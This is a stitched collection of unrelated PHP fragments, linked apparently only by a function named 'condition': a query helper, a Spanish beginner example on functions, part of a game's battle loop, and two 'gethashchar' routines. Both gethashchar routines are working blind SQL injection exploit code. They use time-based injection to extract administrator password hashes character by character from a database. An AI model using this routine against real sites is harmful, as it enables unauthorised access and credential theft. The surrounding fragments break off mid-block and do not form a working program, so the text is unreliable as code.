function whereFieldIs($field1, $field2, $func = '=', $conn = null) { return condition(mask($field1), $func, mask($field2), $conn); }
<?php function mensaje() { return "Esto es un mensaje de una funcion"; } echo mensaje(); echo '<br/>'; echo '<br/>'; function sumar($a = 11, $b = 10) { return $a + $b; } echo sumar(3); echo '<br/>'; echo '<br/>'; function condition($x = -1) { if ($x > 0) { $c = "X es mayor que 0"; } else { $c = "X es menor que 0"; } return $c; } echo condition();
function gethashchar($pos) { global $query_pattern, $verbose_pattern, $usedprefix, $id, $benchmark, $verbose; $inj = "ORD(SUBSTRING((SELECT adpwd FROM {$usedprefix}admin WHERE admid={$id}),{$pos},1))"; $query = sprintf($query_pattern, $inj . ">57", $benchmark * 4); $success = condition($query); if (!$success) { if ($verbose) { printf($verbose_pattern, "[v] Position", $pos, "char is [0-9]\n"); } $min = 48; $max = 57; } else { if ($verbose) { printf($verbose_pattern, "[v] Position", $pos, "char is [a-f]\n"); } $min = 97; $max = 102; } for ($i = $min; $i <= $max; $i++) { $query = sprintf($query_pattern, $inj . "=" . $i, $benchmark * 4); $success = condition($query); if ($success) { $query = sprintf($query_pattern, $inj . "<>" . $i, $benchmark * 4); $recheck = condition($query); if (!$recheck) { $chr = chr($i); if ($verbose) { printf($verbose_pattern, "[v] Position", $pos, "char is {$chr}\n"); } return $chr; } } } return false; }
if ($fighters[$currentturn]['party'] == 'Enemy') { $fighters[$currentturn]['hp'] = min($fighters[$currentturn]['maxhp'], $fighters[$currentturn]['hp'] + $status[$currentturn]['hpreg']); $fighters[$currentturn]['mp'] = min($fighters[$currentturn]['maxmp'], $fighters[$currentturn]['mp'] + $status[$currentturn]['mpreg']); } else { $fighters[$currentturn]['hp'] = min($fighters[$currentturn]['maxhp'], $fighters[$currentturn]['hp'] + $fighters[$currentturn]['hpreg'] + $status[$currentturn]['hpreg']); $fighters[$currentturn]['mp'] = min($fighters[$currentturn]['maxmp'], $fighters[$currentturn]['mp'] + $fighters[$currentturn]['mpreg'] + $status[$currentturn]['mpreg']); } if ($fighters[$currentturn]['hp'] < 1) { KillFighter($currentturn); continue; } for ($acts = 0; $acts < $fighters[$currentturn]['act']; $acts++) { $j = -1; do { $j++; } while (!condition($currentturn, $j)); action($currentturn, $j); //if(onlyOneTeam() || $currTurn >= $maxTurns) { // break 2; //} if (onlyOneTeam() == $fighters[0]['party'] && $currTurn < $maxTurns) { $reportintro .= "Victory!"; break 2; } } } updateMap($roomstats[$key]['length'], $roomstats[$key]['width'], $roomstats[$key]['floor']); DevalueStatus(); $currTurn++; } // getTurnOrder();
function gethashchar($pos) { global $query_pattern, $prefix, $id, $benchmark, $verbose; $inj = "ORD(SUBSTRING((SELECT+Password+FROM+{$prefix}User+WHERE+UserID={$id}),{$pos},1))"; $query = sprintf($query_pattern, $inj . ">57", $benchmark * 4); $success = condition($query); if (!$success) { if ($verbose) { print "[v] Position {$pos}: char is [0-9]\n"; } $min = 48; $max = 57; } else { if ($verbose) { print "[v] Position {$pos}: char is [a-f]\n"; } $min = 97; $max = 102; } for ($i = $min; $i <= $max; $i++) { $query = sprintf($query_pattern, $inj . "=" . $i, $benchmark * 4); $success = condition($query); if ($success) { $query = sprintf($query_pattern, $inj . "<>" . $i, $benchmark * 4); $recheck = condition($query); if (!$recheck) { $chr = chr($i); if ($verbose) { print "[v] Position {$pos}: char is {$chr}\n"; } return $chr; } } } return false; }